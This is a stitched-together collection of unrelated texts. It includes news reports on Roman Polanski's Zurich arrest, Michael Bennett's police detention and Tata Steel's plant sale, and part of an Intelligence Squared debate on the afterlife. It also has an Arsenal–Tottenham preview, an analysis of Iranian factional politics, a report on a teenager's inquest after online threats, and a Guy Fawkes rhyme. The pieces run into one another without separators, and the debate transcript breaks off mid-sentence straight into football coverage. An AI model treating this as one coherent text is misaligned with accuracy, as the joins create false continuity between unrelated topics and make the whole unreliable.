Polanski won an Academy Award for Best Director in 2003 for "The Pianist." He was nominated for a Best Director Oscar for "Tess" and "Chinatown," and Best Writing for "Rosemary's Baby," which he also directed. See examples of Polanski's work »
On Monday, French Foreign Minister Bernard Kouchner said that he hoped authorities would respect Polanski's rights "and that the affair [will] come to a favorable resolution," the ministry said in a statement.
The French culture and communications minister, Frederic Mitterrand, said he "learned with astonishment" of Polanski's arrest and expressed solidarity with Polanski's family.
Polanski, 76, was arrested Saturday on his arrival at Zurich's airport.
A provisional arrest warrant had been issued last week out of Los Angeles, California, after authorities learned that he was going to be in Switzerland, Sandi Gibbons, spokeswoman for the Los Angeles County district attorney's office, said Sunday.
In a written statement, Polanski's California counsel said Monday that "an issue related to the Swiss extradition matter is presently being litigated before the California Court of Appeal. We had hoped that this would be determinative of this case."
"We were unaware of any extradition being sought, and separate counsel will be retained for those proceedings."
The lawyers -- Douglas Dalton, Chad Hummel and Bart Dalton -- said prior deputy district attorneys had told them that no efforts were being made to extradite Polanski, who "owned a home in Switzerland for many years and worked throughout Europe during that time."
There have been repeated attempts to settle the case over the years, but the sticking point has always been Polanski's refusal to return to the United States to attend hearings. Prosecutors have consistently argued that it would be a miscarriage of justice to allow a man who "drugged and raped a 13-year-old child" to go free.
The Swiss Justice Ministry said Polanski was "in provisional detention." But whether he can be extradited to the United States "can be established only after the extradition process judicially has been finalized," ministry spokesman Guido Balmer said in an e-mail.
"It is possible to appeal at the federal penal court of justice against an arrest warrant in view to extradition as well as against an extradition decision," Balmer wrote. "Their decisions can be taken further to the federal court of justice."
Gibbons said the extradition process will be determined in Switzerland but said authorities are ready to move forward with Polanski's sentencing, depending on what happens in Zurich.
Polanski was accused of plying the teenage girl with champagne and a sliver of a Quaalude tablet and performing various sex acts, including intercourse, with her during a photo shoot at actor Jack Nicholson's house.
Nicholson was not at home.
Polanski's lawyers tried this year to have the charges thrown out, but a judge in Los Angeles rejected the request. However, Los Angeles Superior Court Judge Peter Espinoza left the door open to reconsider his ruling if Polanski shows up in court.
Espinoza also appeared to acknowledge problems with the way the director's case was originally handled.
According to court documents, Polanski, his lawyer and the prosecutor thought they'd worked out a deal that would spare Polanski from prison and let the young victim avoid a public trial.
But the original judge in the case, who is now dead, first sent the director to maximum-security prison for 42 days while he underwent psychological testing. Then, on the eve of his sentencing, the judge told attorneys he was inclined to send Polanski back to prison for another 48 days.
Polanski fled the United States for France, where he was born.
In the February hearing, Espinoza mentioned a documentary film, "Roman Polanski: Wanted and Desired," that depicts backroom deals between prosecutors and a media-obsessed judge who was worried his image would suffer if he didn't send Polanski to prison. The documentary was first broadcast in June 2008.
"It's hard to contest some of the behavior in the documentary was misconduct," Espinoza said. But he declined to dismiss the case.
Polanski's victim long ago came forward and made her identity public, mainly saying she was disturbed by how the criminal case had been handled.
Samantha Geimer, now 45 and a married mother of three, sued Polanski and received an undisclosed settlement. She is among those calling for the case to be tossed out.
In court papers filed in January, she said, "I am no longer a 13-year-old child. I have dealt with the difficulties of being a victim, have surmounted and surpassed them with one exception.
"Every time this case is brought to the attention of the court, great focus is made of me, my family, my mother and others. That attention is not pleasant to experience and is not worth maintaining over some irrelevant legal nicety, the continuation of the case."
CNN's Jennifer Wolfe, Morgan Neill, Frederik Pleitgen, Brooke Bowman, Karan Olson and Ann O'Neill contributed to this report.
All About Roman Polanski • David Lynch • Zurich • MoviesMichael Bennett Police Takedown Video 'I Wasn't Doing Nothing'
Michael Bennett Police Takedown Video, 'I Wasn't Doing Nothing Man' (UPDATE)
EXCLUSIVE
12:30 PM PT -- Sources connected to the investigation tell TMZ Sports... when cops responded to the club for a possible shooting, they ordered everyone to get down and not move so they could properly search and investigate.
We're told Bennett did not stay put -- instead, he ran -- and a cop outside the club stopped him and ordered him down to the ground at gunpoint.
Our sources say Bennett was detained until cops could determine he was not involved in any possible criminal activity... and he was released.
TMZ Sports has obtained video of NFL superstar Michael Bennett being handcuffed by police while lying face down on the concrete in Las Vegas... and you can hear him screaming that he's innocent.
The video was shot outside Drai's Nightclub on August 26 -- you can see one officer take position on a balcony while another cop handcuffs Bennett on the street level.
During the incident Bennett screams out, "I wasn't doing nothing man! I was here with my friends! They told us to get out, everybody ran!"
Bennett claims the officer had pulled a gun on him and threatened to "blow my f*cking head off" -- but you don't see that in our footage. At the time the video begins, Bennett is already being cuffed.
You can see the officer on the balcony is clutching something in his hand that resembles a handgun -- but it's unclear.
Bennett has said in a statement that he -- and several hundred other people -- were running from the club after hearing what they thought were gunshots. He claims cops stopped him for "being a black man in the wrong place at the wrong time."
We've reached out to the Las Vegas Metro PD for comment -- we're told they're investigating the incident.LONDON — Prime Minister David Cameron faced a new economic and political challenge on Wednesday after the Indian owner of much of Britain’s steel industry said it could no longer swallow the large losses being generated by its plants and would try to sell them.
The owner of the plants, Tata Steel, has been squeezed by cheap imports of Chinese steel into Europe, and its announcement suggested that if no buyer could be found it would consider closing them, endangering at least 15,000 jobs.
The British steel industry’s woes have been caused in part by the European Union’s inability to agree on higher tariffs on Chinese steel, making the fate of the Tata plants another flash point in Mr. Cameron’s campaign to persuade his country to vote to remain in the bloc in a referendum on June 23.
The news struck particularly hard at Britain’s largest steel plant, the Port Talbot works in Wales, which has been the heart of that community since 1901. The Tata board acted to cut its losses despite entreaties from the British government and the local member of Parliament, Stephen Kinnock, who had flown to India to plead the case.00:00:00 John Donvan:
I’m interested to hear what he has to say about this one, so let's please welcome to the stage Mr. Robert Rosenkranz.
[applause]
John Donvan:
Hi, Bob. How are you?
Robert Rosenkranz:
Good.
John Donvan:
So I was just saying, you know, normally we're doing foreign policy and defense spending debates. And tonight we're going a little bit in a different direction with this discussion of the afterlife. So what's the thought behind putting this on the stage now?
Robert Rosenkranz:
Well, one of the things that kind of got me to think that this would be a very interesting debate is a sermon I heard in a Catholic church many, many years ago, in which thepriest was challenging people to believe in an afterlife. And the argument he made was quasi scientific. He said, imagine a fetus in his mother's womb that's almost ready to be born, nine-month, full-term baby.
00:01:01 And you're trying to convey to this baby what's about to happen, that it's going to have an incredibly painful experience going through the birth canal, that its ties to its mother through which it's getting all kinds of nutrients and all the oxygen is going to be severed.
But not to worry, there's going to be a great life afterwards. There's going to be all kinds of experiences and sensory things and development and emotional growth and just an incredible world that you cannot imagine. And when you think about that, of course,
you say, of course you could -- there's no way you could communicate that. And there's no way that the baby could understand it. And yet we all know it's true. So it kind of invites you to think, is it possible that there's something that we can't -- we can not imagine, that we don't understand, but nonetheless is true about life after death?
00:02:03 John Donvan:
I mean, I want to ask you one point about the approach we're taking to this. But before we get to that, do you have a lot of these epiphanies in churches?
Robert Rosenkranz:
Well, I'm Jewish, actually. But --
[laughter]
Robert Rosenkranz:
You know, the Jews do have the highest resurrection rate in the world.
[laughter and applause]
John Donvan:
My question is, we're not looking at this is a religious debate, speaking of which, we're really taking a different cut at it.
Robert Rosenkranz:
No, of course. And that's what I think sort of makes it much more of a factually grounded and intellectually grounded argument, and it's the reason we're doing this, is to take it away from the questions purely of faith and try to do as scientific an approach as we can to this topic which obviously interests a lot of people.
00:02:57 John Donvan:Well, the great thing is we have four scientists debating tonight, so let's welcome them to the stage, and thank you to Bob Rosenkranz.
Robert Rosenkranz:
Thank you, John.
[applause]
John Donvan:
Okay. Now I can see. And I just want to actually invite one more round of applause to Bob Rosenkranz for making this all possible.
[applause]
John Donvan:
So the difference between going to heaven some day and getting hit in the head with a hammer right now is that going to heaven some day sounds so much better than getting hit in the head with a hammer right now.
00:04:01 But at least with the hammer, you know that the hammer is real. Science can see the hammer. Science can weigh it and take its measurements and even cut it up into little pieces and put it into test tubes. But heaven, the afterlife, science cannot see that, not with a telescope, not with a microscope. So does that mean that heaven is not as real as the hammer? Or does it just mean that science and scientists don't know yet how to find heaven, how to look for it? Well, that sounds like the makings of a debate. So let's have it. Yes or no to this statement: Death is not final, a debate from Intelligence Squared U.S. I'm John Donvan. We have four superbly qualified debaters, scientists all,
but they divide on this issue: Death is not final. They will argue two against two for and against. We are at the Kaufman Music Center in New York City.
00:04:59 As always, our debate will go in three rounds, and then the live audience votes to choose the winner, and only one side wins. Let's meet our debaters and the team arguing for the motion, death is not final, please, ladies and gentlemen, welcome Eben Alexander.
[applause]
John Donvan:
And Eben, in a way, you are our founding story in this debate tonight. You are an academic neurosurgeon, 15 years on the faculty of Harvard Medical School. But in 2008, you got very, very sick. You went in a coma for seven days. Your brain effectively stopped showing signs of life in the higher functions. And you came back, and you said,"I was there. I saw it. I've seen the afterlife." In one word, what did you see? What was it?
00:06:00 Eben Alexander:
Astonishing.
John Donvan:
Astonishing. And if you had heard somebody, back before you had this experience,
make that same sort of claim, what would you have said?
Eben Alexander:
"no way," at least not until I knew all the facts.
John Donvan:
We'll hear more of the facts from you tonight. Ladies and gentlemen, Eben Alexander.
[applause]
John Donvan:
And Eben, your partner is?
Eben Alexander:
My very good friend, Dr. Raymond Moody.
John Donvan:
Ladies and gentlemen, Raymond Moody.
[applause]
John Donvan:
And Raymond, you are also arguing for this motion that death is not final. You're a psychiatrist, and you have a medical degree, a doctorate in philosophy. You are described as "the founder of the near death experience." You coined that phrase in your book in 1975, "Life After Life," in which you looked at more than a hundred cases of people who had experienced clinical death and come back. You've been looking at this now for decades. But it's interesting to us to note that your curiosity in this whole thing was piqued not by religious conviction. What was it?
00:07:05 Raymond Moody:
No, I'm -- I was not --John Donvan:
Can you just move a little closer to your mic.
Raymond Moody:
Yes. I was not religious. I got interested in the afterlife question at age 18 when Plato convinced me, through his argument, that the afterlife question is the most important question of existence.
John Donvan:
We're going to be hearing about Plato tonight?
Raymond Moody:
Yes.
John Donvan:
We're looking forward to it. Ladies and gentlemen, Raymond Moody. And that's the team arguing for the motion. And now the team to argue against this motion, "Death is not final," please, ladies and gentlemen, welcome Sean Carroll.
[applause]
John Donvan:
Sean, you are a physicist at the California Institute of Technology. Your research focuses on fundamental physics and cosmology, the study –of the origin and the evolution of the universe. You've written a lot of books, including "The Particle at the End of the Universe," which is about the quest to discover the Higgs Boson, which is a celebrity among particles. And you have described yourself as a naturalist.
00:08:07 So for the purposes of understanding where you're coming from, what does that term briefly mean?
Sean Carroll:
A naturalist is one who believes there is one world, the natural world. And it is our job to deal with it.
John Donvan:
And are you dealing?
Sean Carroll:
Okay. So far so good.John Donvan:
Sean Carroll.
[applause]
John Donvan:
And, Sean, tell us who your partner is?
Sean Carroll:
The talented and charming Steven Novella.
John Donvan:
Ladies and gentlemen, Steven Novella.
[applause]
John Donvan:
Steven, you are also arguing against the motion that death is not final. You are a neurologist at Yale School of Medicine. You're the founder of the website, "Science-
Based Medicine," cofounder of the New England Skeptical Society. We sense, you know, there's a theme running through this.
00:09:04 You know, you -- The Skeptic's Guide to the Universe is your podcast. So you're doing all of this neurology. Why did you decide to put yourself out there as a skeptic?
Steve Novella :
Well, I had briefly considered a career in interpretive dance.
[laughter]
but sadly, I had to conclude that my talents lay elsewhere. So I thought science skepticism was a good match.
John Donvan:
The dance of skepticism.
Steve Novella :
The dance of skepticism. I'll work on that.
John Donvan:
All right. Ladies and gentlemen, welcome to our debaters tonight.[applause]
John Donvan:
And this is a debate. Our motion is "death is not final." And in this debate, we go in three rounds, and only one side will win. And that side will be chosen by you, our live audience. By the time this debate has ended, we will have asked you to vote twice;
once before the debate and once again afterwards to tell us where you stand on this motion. And the team whose numbers have changed the most in percentage point terms will be declared our winner. So let's go to the first vote. If you go to these key pads at your seat, look again at the motion on the screens: Death is not final. If you are for this motion, push number one.
00:09:57 If you are against it, push number two. And if you're undecided, push number three,
which is, by the way, a perfectly honorable position with which to start this debate. You can ignore the other keys. And if you push the wrong one, just correct yourself, and the system will lock in your last vote, and we're going to wrap this up in about 12 seconds.
Okay, looks like everybody's done. So let's move on. Let's start this debate. Let's get on to round one. Round one, our motion is, "Death is not final." In round one, we have opening statements from each debater in turn. They will be seven minutes each. And here to speak first for the motion, Eben Alexander. He is an academic neurosurgeon who taught at Harvard Medical School. He is author also of the bestselling book, "Proof of Heaven." Ladies and gentlemen, Eben Alexander.
[cheering and applause]
Eben Alexander:
Thank you very much, John.
00:10:57 I've been an academic neurosurgeon for over 20 years, and I fully believed in reductive materialism, our modern conventional science. In fact, six years ago I would've been sitting over on that side of the stage with Steven and Sean. Now, at that time I believed that the brain creates mind and consciousness, that we have no free will, that it's birth to death and nothing more. Then something happened. I now know that those ideas are false. In November 2008 I was driven rapidly into coma due to a severe bacterial meningoencephalitis which I much later came to realize is the perfect model for human death, destruction of the neocortex, the outer surface, the human part of the brain.
Sadly almost no one returns, much less recovers, from a case of meningitis as severe as mine. The last evidence of any activity in my neocortex was in the first hour, so in the emergency room and afterwards I demonstrated only very pathological reflexes including severe brainstem damage.
00:11:59 Given my gram negative bacterial meningoencephalitis, which I was found to have, and my descent into coma over three and a half hours, I had at best a 10 percent chance of survival at the very beginning. It only got worse. Mine was an absolutely lethal meningitis. My white cell count in my cerebral spinal fluid was 4,300 and a protein of 1,340. Both those numbers should be zero. In fact, the glucose in that fluid, normally 60 to 80, and maybe as low as 20 in a severe case of bacterial meningitis, went all the way down to one. None of the consultants in my case, from Harvard, UVA, Duke, or Wake Forest had ever seen that severe a case. My doctors never found a cause. The scan showed diffuse destruction of my neocortex with blurring of the gray-white junction over all eight lobes of my brain. No area was spared. Later in the week, off all sedation, my neurological activity was almost nil.
00:12:55 With what's called a glass glaucoma scale, which in everybody in this room would be 15 and a corpse is three, my scale was ranging from three to five. This was a very severe meningitis. On day seven, with no residual neocortical function, brain stem badly damaged, reflecting the deadly nature of my illness, my doctors recommended, because I was down to a 2 percent chance of survival by that point, with a best case scenario that if I survived I'd spend a month or two in the hospital, be transferred to a nursing home,
and die in a coma months later, hence, they recommended just stopping the antibiotics.
My journey deep in the coma began in a very primitive unresponsive realm, which I later called the "earthworm's eye-view," the best consciousness my brain could muster,
soaking in pus. My prior neuroscientific view would've dictated that the next step would be one of no awareness at all. Yet, it was just the opposite, like the blinders coming off. I ascended into far more crisp, vibrant, ultra real realms of pure joy, love,
and understanding, realms I called the "gateway in the core," far too rich and complex to fully describe.
00:14:05 Soon thereafter I started to return to this world, but with my brain so wrecked that I had no memory of words or language, nothing of Eben Alexander's life before coma, any religious concepts, et cetera, yet I knew the entire ultra-real odyssey that I had just been deep in coma, went [spelled phonetically] so extensive it seemed to last for months,
even though it had to fit within seven days of earth time. Words came back to me over hours and days, childhood memories over weeks, and knowledge of brain-mind consciousness of more than 20 years' experience in neurosurgery came back over two months. My doctors have no explanation at all for my full recovery. Other cases of medically inexplicable healing do occur in transcendental near-death experiences, like those of Anita Moorjani and Dr. George Rodonaia. In the 36 hours after emerging fromcoma, I was in and out of a delusional, paranoid, psychotic nightmare that was completely different, not even in the same ballpark, when compared to the ultra-reality of the deep-coma experience in the gateway in the core.
00:15:10 Those experiences deep in coma seem almost seem to weigh too real to be real. My doctor's believing that the brain creates consciousness, and knowing the destruction they had seen in my brain, had told me that I could not have had any such experience in the depth of coma, and therefore just to forget about it. I knew I'd experienced something and sensed that it had to do with the fundamental flaw in the models of consciousness and the -- and the role of the neocortex. Early on, I tried to explain all of this as a brain-based phenomenon based on my old paradigm, writing it up as a report for the neuroscience literature. It's important that when I was emerging from that coma, I saw six faces at the very end. And these were faces that were very important in helping me to realize that the entire coma experience happened between Days 1 and 5 of my coma, and not at the very end.
00:16:03 Over those weeks of recording my experience after coma, I also began to talk with my doctors and review my medical records, especially neurological examinations and the scans, and came to realize just how deathly ill I was and how there was no way that such an ultra-real crisp and vibrant experience could have happened in my physical brain.
Modern neuroscientific ideas of the neocortex and consciousness would dictate that I should have experienced nothing at all beyond that earthworm's eye view. I wrote the entire experience down, 20,000 words that I wrote over six weeks, before I read anything about near death experiences. I have never read that literature before.
Initially, I was very worried that the memories would fade. Those memories are as sharp today as when they happened. Memories of the delusional paranoid psychotic nightmare that occurred over those 36 hours after I came out of coma faded within weeks.
00:16:58 Very different origin. I had never read NDE literature before, and was shocked to find that the experience seemed hyperreal in over half of NDE accounts, and the memories do not fade like those of hallucinations, dreams, confabulations, or drug effects. People recount their own NDE stories to me by the hundreds, usually starting -- I'd never told anyone this before, but even from over 50 years ago, as if they happened yesterday, I came to see that the similarities in the NDE and afterlife literature far outweighed the differences. And the commonalities across cultures, beliefs, continents, and millennia indicate an underlying constant reality of that realm. Many of the petty differences are due to our being so restricted by our earthly language. This is not like we're describing atrip to Disneyland. Personal biases and religious beliefs might taint the telling of those stories. But the core similarities remain striking.
00:17:57 John Donvan:
Eben Alexander --
Eben Alexander:
[inaudible] --
John Donvan:
-- I'm sorry. And thank you very much. Your time is up.
[applause]
Thank you, ladies and gentlemen. Eben Alexander. Our motion is Death Is Not Final. And here to speak against this motion, Sean Caroll. He is a physicist at the California Institute of Technology. He is the author of several books, including "The Particle At The End Of The Universe." Ladies and gentlemen, Sean Caroll.
[applause]
Sean Carroll:
Thanks, John. It's a pleasure to be here defending such a cheerful and uplifting proposition, as death is, in fact, final. Driving around the streets of Los Angeles, where I live, you can't help but notice these gigantic billboards telling us "All Men Must Die."
Turns out they were advertisements for "Game of Thrones," but I thought that they were advertisements for --
[laughter]
-- our event here tonight. It's a similarly -- you know, not quit as happy message as we might like to accept. Fortunately, we can open Dr. Alexander's book. It begins with a quote from Albert Einstein. Einstein says, "A man should look for what is, not for what he thinks should be," to which I would like to reply, "Exactly."
00:19:03 [laughter]
[applause]
We human beings are not always perfectly rational. Let me tell this shocking news toyou. We are bundles of cognitive biases. And one of the strongest biases we have is that we go easy on propositions that we would like to be true. What we should, in fact, do, is go especially skeptical on propositions that we would like to be true. And even I want it to be true, that death is not final. But we should hold something like that to an extraordinarily high standard of evidence. So, what are we actually being asked to accept? What should we expect the world to be like if death were not, actually final? For one thing, I would expect that the existence of souls persisting in the afterlife should be perfectly obvious. It should be just as clear that heaven exists as it is clear that Canada exists. But in fact, it seems that the souls persisting in the afterlife are kind of shy.
00:20:00 They don't talk to us, except sometimes they do talk to us. I would expect, also, that when people did have near death experiences, and really talked to other souls in the afterlife, that they would come back with consistent, interesting, non-trivial stories to tell. But in fact, when Christians have near-death experiences, they often say they've met Jesus. When Hindus have near-death experiences, they meet Hindu deities. There was a little girl who had a near-death experience, and she met a portly man wearing a red cap. She met Santa Claus. And we are told by some defenders of this that, well,
Jesus dressed up as Santa Claus so as not to scare the little girl. Possibly, that is true.
But we should be asking, are there other plausible explanations? I especially think that if we went and had a life after death |
new stadium as well."
On the pitch, Arsenal are keeping up the pace at the top of the table while Tottenham remain unbeaten in the league since the opening weekend of the campaign.
Wenger is preparing for a 'big challenge' from Spurs
Wenger's men go into the game on the back of a 5-1 Champions League hammering from Bayern Munich but certainly have the players to keep their Premier League title tilt alive with victory over their rivals.
Alexis Sanchez has enjoyed a strong start to the campaign while World Cup winner Mesut Ozil feels he is now able to show his best having made an uncertain start to life at Arsenal.
"Last season, I was out with my knee injury for a few months," Germany midfielder Ozil told arsenal.com.
"This year I feel fit. I have no injuries and can perform well in games. At the moment, things are going really well.
"But you need to praise the whole team. We fight for each other and are like a small family. You can sense that on the pitch. It shows that we are hungry for success and that's why I want to praise the whole team."
Watch Arsenal v Tottenham live on Sky Sports 1 from 3.30pm on Super Sunday.Posted in Analysis
In a recent piece on Foreign Policy’s website entitled Ahmadinejad’s Impotence, Genieve Abdo, director of the Iran program at the Century Foundation, dismissed Iran’s controversial President Mahmoud Ahmadinejad as being finished politically. Yet for analytical and factual reasons, her interpretation of events in Iran fails to grasp the dynamics of what’s currently taking place there.
The crux of her argument presents the Iranian Judiciary’s statement that Shane Bauer and Josh Fattal’s dossier was still “under review” as a humiliating blow to the president in a string of events in the last eight months which signal his downfall.
Yet this is not what has actually happened. In an interview with NBC on 13 September 2011, Ahmadinejad declared that Mr. Bauer and Fattal would be released “in the next couple of days”, setting an intentionally vague deadline for when a release would in fact occur. Now sources reveal that one of the two judges on the young Americans’ case has already signed their bail documents, while the second may soon follow, indicating that there’s a possibility the hikers’ release could still fall within the time frame of Ahmadinejad’s UN General Assembly trip.
Regardless, it is hyperbole to take this single event as confirmation that Ahmadinejad is a “broken man”, as Miss Abdo so dramatically states, and there’s little evidence that it’s been portrayed as such in the Iranian media. She provides little in the way of sources to substantiate her argument, and fails to grasp that, generally speaking, comments made by the president in interviews to the Western media are official positions, and represent decisions made at the highest levels of the regime. When disagreements over foreign policy do exist, they are not commonly made into public spectacles – but quietly hashed out behind the scenes. Far from symbolizing Ahmadinejad’s fading fortunes, episodes since 2005 reveal the increasing strength of his faction. Yet Miss Abdo argues that:
“The institutions and political elites which once formed the bedrock of his power have all left him, including Supreme Leader Ayatollah Ali Khamenei, commanders in the Islamic Revolutionary Guards, the intelligence minister, and important conservative clerics.”
Such notions can be dismissed by a careful and nuanced analysis of Iranian sources and official government statements. The Supreme Leader Ali Khamenei and the Islamic Revolutionary Guard Corps (IRGC) continue to support Ahmadinejad, but have criticized the deviant current (code for Esfandiar Rahim Mashaei and his circle) surrounding him. Critically, the deviant current cannot be equated to Ahmadinejad and the faction that he represents in its entirety, but merely one of the two groups which have emerged from his administration since 2005. This important distinction bears some explanation, including a broad overview of the history of Iran’s factional politics.
After the initial massive electoral victory of Mohammad Khatami and the newly formed Reformist faction in 1997, the right-wing of the Islamic Republic found itself in crisis and unable to cope. In response, the right-wing rallied under the banner of Principalism, a factional name that called for a return to the founding principles of the Islamic Revolution of 1979. While the Principalist faction largely carried over the old right-wing, they also allowed a new generation of younger leaders, many with IRGC backgrounds, to enter politics. Ahmadinejad and his group entered elected politics in the City and Village Council elections of 2003 under the banner of Principalism, yet before long it became clear this group represented a new discourse which has been labelled Neo-Principalism here.
Allegations of massive fraud in the 2009 presidential election brought into question the very legitimacy of the Islamic Republic and confronted the regime with a serious crisis. The emergence of the 2009-2010 Green Movement caused Principalists to close ranks and paper over the vast differences between them. With the Reformist faction which created and led the Green Movement effectively eliminated from the inner-sanctum of the regime, fundamental disagreements within the Principalist faction have now re-emerged, dividing it between Traditional Principalists (such as Majlis Speaker Ali Larijani, Tehran Mayor Mohammad-Bagher Ghalibaf, and Mohamma-Reza Bahonar) and Neo-Principalists, centered on the Ahmadinejad administration.
Yet even the Neo-Principalists are composed of two groups, namely the Iranian School of Islam (aka the “deviant current”) and the 3rd of Tir Current, named after the date of Ahmadinejad’s first presidential election victory in 2005. The former, led by Mashaei, advocates a form of Iranian nationalism, anti-clericalism, and engagement with the West and potentially even Israel. The latter, led by figures such as ex-Minister of the Interior Sadegh Mahsouli, emphasizes Ahmadinejad’s first term as president and calls for a return to that platform. While both Neo-Principalist groups are united on eliminating the Traditional Principalists, Pragmatists (supporters of ex-President Ali-Akbar Hashemi-Rafsanjani) and remnants of the Reformists from Iran’s political system, the 3rd of Tir Current views the Iranian School of Islam as a threat and calls for his removal as well.
And that is the point. The supreme leader, IRGC, important senior clergymen, and others have repeatedly emphasized that the Ahmadinejad administration itself is still legitimate, but that it has been penetrated by a deviant current (i.e. Mashaei and his circle) which must be cut out. This is supported by recent statements from important voices representing senior regime leadership, including the IRGC. One of the best examples of this is a front page editorial in Sobh-e Sadegh, the IRGC’s main mouthpiece, on 08 August 2011. In it Brigadier-General Yadollah Javani, head of the IRGC’s Political Bureau and editor-in-chief of Sobh-e Sadeq, stated:
“[We] must separate the deviant current from Ahmadinejad and the government and while defending the government as a whole, confront the deviant current and its elements under the framework of the law.”
Senior figures consistently attack “the sedition” (a reference to the Green Movement) and the deviant current, but have generally left the integrity of the Ahmadinejad administration intact. Miss Abdo’s claims that the president may not be allowed to travel to the UN GA this year, or even finish his second term in office, simply have no basis in credible reports (particularly Farsi sources), but seem to be a meme that’s gained currency in the English-speaking media over the last few months. In fact, it is the Traditional Principalists who may be facing elimination from the regime, particularly in the Majlis. In characterizing the Traditional Principalist v Neo-Principalist rivalry, Miss Abdo reports that:
“According to Ali Falahian, Iran’s former intelligence minister, the traditional conservatives [Traditional Principalists] are now drafting a list of potential candidates for the parliamentary elections, but it will not include representatives from Ahmadinejad’s faction [Neo-Principalists].”
Here the reality has been reversed: It is the Neo-Principalists who have broken with Traditional Principalists over the upcoming 2012 Majlis (legislative) elections and numerous other issues. As mentioned here, the 3rd of Tir Current forces within the Neo-Principalists have created the Persevering Front of the Islamic Revolution (Jebhe-ye Paydari Enghelab-e Eslami) election committee as a means of removing the Traditional Principalists and suspected supporters of Rafsanjani from the Majlis. Prior to this, the Seven Plus Eight Committee/Principalist Unity Committee had been created so that the Principalist faction could contest the 2012 election on a common platform and maximize its gains in the Majlis. But this body now appears to be dead on arrival. The Enduring Front of the Islamic Revolution for its part appears to be harnessing considerable resources in order to make a strong showing in the 2012 election and push out Traditional Principalists. It has also repeatedly threatened to break with the Principalist Unity Committee if its demands are not met, and seems to have the upper hand.
Even if by some twist of fate the recent financial fraud scandal or other intrigues manage to weaken or completely remove Mashaei and the Iranian School of Islam, the Neo-Principalists can still stand on the support of the 3rd of Tir Current. In fact, there are a number of reliable indicators that show Ahmadinejad and his faction still enjoy strong backing of what is increasingly Iran’s most important player, the IRGC. In July Ahmadinejad nominated Brigadier-General Rostam Ghasemi as the new oil minister, who was subsequently confirmed by the Majlis with a substantial majority (along with Ahmadinejad’s other nominations). The appointment of the ex-commander of the Khatam-al Anbia Headquarters, the IRGC’s main economic arm, as oil minister marks a whole new level of IRGC penetration of Iran’s politics and economy. Ghasemi has publically declared that his “entire existence is in the Guards”, and from his vantage point in the oil ministry is in a position to use the country’s vast natural resources to consolidate the Guard’s pre-eminent economic position in Iran. This is but one sign of the strong relationship between Ahmadinejad and the IRGC.
As the very fabric of regime politics in Iran is rewoven, Miss Abdo and others continue to hold a view of the Islamic Republic which is outdated. Just as the Islamic Left v Islamic Right rivalry which characterized regime politics in 1979-1997 became the Reformist v Principalist rivalry of 1997-2010, it appears today we are on the praecipes of another such change. What the new factional lines of the Islamic Republic will look like remains to be seen. But the growing shadow of the IRGC, the conflict between the Iranian School of Islam and 3rd of Tir Current, and the results of the upcoming 2012 Majlis election will likely give us some good indications. While Ahmadinejad as a political figure may become irrelevant after his term expires in 2013, the Neo-Principalists are likely here to stay.
What we can say for certain is that the Reformist faction is no longer relevant to regime politics in Iran, at least for the foreseeable future. Having gambled on the Green Movement, the Reformists and their supporters were brutally supressed on Tehran’s streets, arrested en masse, imprisoned, tortured and many forced into exile. It is unlikely that they will be allowed to seriously contest future elections. Rafsanjani and the Pragmatists, once key players in the regime, have been increasingly sidelined and targeted for termination by the Neo-Principalists.The Traditional Principalists will likely make one of their last stands in the 2012 election, and it would not be surprising if this was the beginning of the end for them as well.
Iran-watchers writing in the English-language media have been very slow in presenting the evolving nature of Iran’s domestic politics to English-speaking audiences. Miss Abdo, who has had a distinguished journalistic career and firsthand experience in Iran, must unfortunately be counted among this group. But with the Middle East in turmoil and Iran’s influence there growing, it is more important than ever to present a clear, concise and accurate picture of what is happening in this strategic country.A TEENAGER killed himself after being threatened by a “fake” Facebook girlfriend, grieving relatives told a UK inquest.
According to The Sun, Mitchell Bowie, 18, was found dead on July 31 at his family’s home by his devastated brother.
Today his family said they believe his Facebook girlfriend is a “fake person” who doesn’t exist — an online phenomenon known as a “catfish”.
The hearing was told Mitchell had started “seeing” a girl from Liverpool who he had met on Facebook earlier this year.
But Mitchell’s family told senior Teesside coroner Clare Bailey, that they didn’t believe the two ever met.
They added that the Facebook girlfriend constantly made excuses not to meet Mitchell and sent threatening messages claiming she “knew people” in Manchester who were “going to stab him”.
“(She) was stalking Mitchell and had really done his head in,” said Mitchell’s sister Sinead, adding, “(She) would tell him to kill himself.”
In a statement, Mitchell’s brother Jay said: “She always made excuses not to meet him.
“She also rang the house phone constantly.
“When he finished her, she started torturing him.”
Having heard the threats escalated to threatening to burn down his family’s Redcar home, Ms Bailey asked the family: “Do you think he was scared for his life?”
“Yes I do,” said Mitchell’s mum, Lisa.
The inquest at Teesside Coroner’s Court heard that later in the year, Mitchell began talking to another girl who — according to Facebook — was the cousin of his girlfriend.
On the night before he was found dead, Mitchell sent the ‘cousin’ a picture message, apparently depicting him preparing to kill himself.
The ‘cousin’ forwarded the picture to members of Mitchell’s family.
The following morning Mitchell was found dead.
Ms Bailey said: “It would suggest that she didn’t take his threat seriously because she sent it to family members rather than the police.”
Mitchell’s sister, Sinead, said: “Police have never taken a detailed examination of who she is or what she is.
“She won’t say where she comes from or who she is.
“I believe the cousin is (the Facebook girlfriend).
“These girls are not who they say they are. (The Facebook girlfriend) is a fake person. Police have still not found (her).”
Ms Bailey said that, following Mitchell’s death, police went to interview the ‘cousin’ but decided not to “press too hard for information” because no appropriate adult was present.
The ‘cousin’ has since refused to provide a statement.
Ms Bailey said: “Police have confirmed to me that they don’t believe there are any suspicious circumstances.
“That is sufficient for my remit in this court.”
Having heard from Mitchell’s family about Mitchell’s character, Ms Bailey said she was unable to say beyond reasonable doubt that Mitchell had intended to kill himself.
She said: “I feel that (the picture Mitchell took preparing to kill himself) was an act of bravado.
“It was a show tactic rather than an intention to kill himself.
“Inadvertently, without intention, he has killed himself. Whatever happened has happened by himself.
“Whatever happened, he has died as a result of it. I can’t say he committed suicide.”
After Mitchell died, the outpouring of grief from his friends, family and workmates was huge.
Within hours of hearing the news, friends of the popular former Sacred Heart Academy pupil arranged on social media to meet to release balloons in his honour.
Hundreds arrived at the fields close to Redcar Fire Station, Sacred Heart Church in Redcar, was packed with friends and loved ones for Mitchell’s funeral.
If you or someone you love is in crisis or needs support right now, please call Lifeline on 13 1114 or Suicide Call Back Service 1300 659 467.
Young people aged 5 to 25 years can call Kids Helpline on 1800 55 1800
You can also visit communitiesmatter.com.au for information and resources on how to get help and give help.Remember, remember!
The fifth of November,
The Gunpowder treason and plot;
I know of no reason
Why the Gunpowder treason
Should ever be forgot!
